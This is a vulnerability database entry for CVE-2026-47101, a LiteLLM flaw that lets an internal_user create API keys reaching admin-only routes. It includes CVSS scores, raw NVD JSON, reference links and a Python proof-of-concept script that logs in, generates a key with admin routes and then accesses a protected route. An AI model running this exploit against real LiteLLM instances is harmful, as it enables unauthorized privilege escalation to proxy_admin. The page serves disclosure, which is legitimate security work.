Security Vulnerability Report
中文
CVE-2026-47101 CVSS 8.8 HIGH

CVE-2026-47101

Published: 2026-05-21 21:16:32
Last Modified: 2026-05-21 21:16:32

Description

LiteLLM prior to 1.83.14 allows an authenticated internal_user to create API keys with access to routes that their role does not permit. When generating a key, the allowed_routes field is stored without verifying that the specified routes fall within the user's own permissions. A key created with access to admin-only routes can then be used to reach those routes successfully, bypassing the role-based access controls that would otherwise block the request, enabling full privilege escalation from internal_user to proxy_admin.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

LiteLLM < 1.83.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://target-litellm-instance.com" LOGIN_USER = "internal_user" LOGIN_PASS = "password" ADMIN_ROUTE = "/proxy/admin/stats" # Route restricted to proxy_admin # 1. Authenticate as internal_user to get a session token session = requests.Session() login_payload = { "username": LOGIN_USER, "password": LOGIN_PASS } resp = session.post(f"{TARGET_URL}/user/login", json=login_payload) if resp.status_code != 200: print("Login failed") exit(1) print("[+] Logged in as internal_user") # 2. Exploit: Create a new API key with admin-only permissions # The vulnerability allows specifying 'allowed_routes' that the user does not have access to exploit_payload = { "key_name": "malicious_admin_key", "allowed_routes": [ADMIN_ROUTE, "/key/list"], # Injecting admin routes "user_role": "proxy_admin" # Attempting to escalate role via key permissions } print(f"[*] Attempting to create key with access to: {ADMIN_ROUTE}") create_key_resp = session.post(f"{TARGET_URL}/key/generate", json=exploit_payload) if create_key_resp.status_code == 200: api_key = create_key_resp.json().get("key") print(f"[+] Key created: {api_key}") # 3. Verify Privilege Escalation: Use the new key to access admin route headers = { "Authorization": f"Bearer {api_key}" } print(f"[*] Accessing protected route {ADMIN_ROUTE} with new key...") admin_resp = requests.get(f"{TARGET_URL}{ADMIN_ROUTE}", headers=headers) if admin_resp.status_code == 200: print("[!] SUCCESS: Accessed admin-only route. Privilege escalation confirmed.") print(f"Data: {admin_resp.text}") else: print(f"[-] Failed to access admin route. Status: {admin_resp.status_code}") else: print(f"[-] Failed to create key. Status: {create_key_resp.status_code}") print(create_key_resp.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-47101", "sourceIdentifier": "[email protected]", "published": "2026-05-21T21:16:32.413", "lastModified": "2026-05-21T21:16:32.413", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiteLLM prior to 1.83.14 allows an authenticated internal_user to create API keys with access to routes that their role does not permit. When generating a key, the allowed_routes field is stored without verifying that the specified routes fall within the user's own permissions. A key created with access to admin-only routes can then be used to reach those routes successfully, bypassing the role-based access controls that would otherwise block the request, enabling full privilege escalation from internal_user to proxy_admin."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://gist.github.com/13ph03nix/9ec616e1fdc77b3673509c60206e827f", "source": "[email protected]"}, {"url": "https://github.com/BerriAI/litellm/commit/2220f3076ac89bd2a2e3439acf57dcfbec2434c9", "source": "[email protected]"}, {"url": "https://github.com/BerriAI/litellm/commit/5190bd07eb23a037745d86328096f54378f1614a", "source": "[email protected]"}, {"url": "https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c", "source": "[email protected]"}, {"url": "https://github.com/BerriAI/litellm/releases/tag/v1.83.14-stable", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/8e75edfb-ff05-4e63-bfca-2d93d03fb3b9", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/litellm-privilege-escalation-via-api-key-generation", "source": "[email protected]"}]}}